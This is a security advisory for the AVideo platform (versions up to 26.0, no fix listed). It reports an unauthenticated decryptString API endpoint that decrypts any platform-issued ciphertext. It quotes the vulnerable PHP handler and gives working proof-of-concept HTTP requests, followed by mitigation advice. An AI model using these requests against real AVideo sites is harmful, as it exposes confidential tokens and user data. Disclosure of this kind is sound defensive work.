GHSA-mwjc-5j4x-r686
AVideo has an unauthenticated decrypt oracle leaking any ciphertext
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | wwbn/avideo | <= 26.0 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The API plugin exposes a `decryptString` action without any authentication. Anyone can submit ciphertext and receive plaintext. Ciphertext is issued publicly (e.g., `view/url2Embed.json.php`), so any user can recover protected tokens/metadata. Severity: High.
### Details
- Entry: `plugin/API/get.json.php` is unauthenticated.
- Handler: `plugin/API/API.php` `get_api_decryptString()` (lines ~5945–5966):
```php
$string = decryptString($_REQUEST['string']);
return new ApiObject($string, empty($string));
```
No APISecret or user check occurs before decrypting.
- Public ciphertext source: `view/url2Embed.json.php` returns `playLink`/`playEmbedLink` (`encryptString(json_encode(...))`) to any caller.
### PoC
1. Obtain ciphertext:
```
GET /view/url2Embed.json.php?url=https://example.com/video.mp4
```
Copy `playLink`.
2. Decrypt without auth:
```
POST /plugin/API/get.json.php?APIName=decryptString
Content-Type: application/x-www-form-urlencoded
string=<playLink ciphertext>
```
Response contains the plaintext JSON (videoLink, title, users_id, etc.).
### Impact
- Any encrypted payload produced by the platform can be decrypted by anyone.
- Leaks tokens/links intended to be confidential; enables replay and tampering where secrecy was assumed.
### Mitigation
- Require API secret or authenticated/authorized user for `decryptString`, or remove the endpoint.
- Prefer one-way signatures (HMAC) instead of exposing generic decryption.
- Rotate encryption keys/salts after patch to invalidate exposed ciphertexts.
References
External links from the advisory. They lead to third-party sites.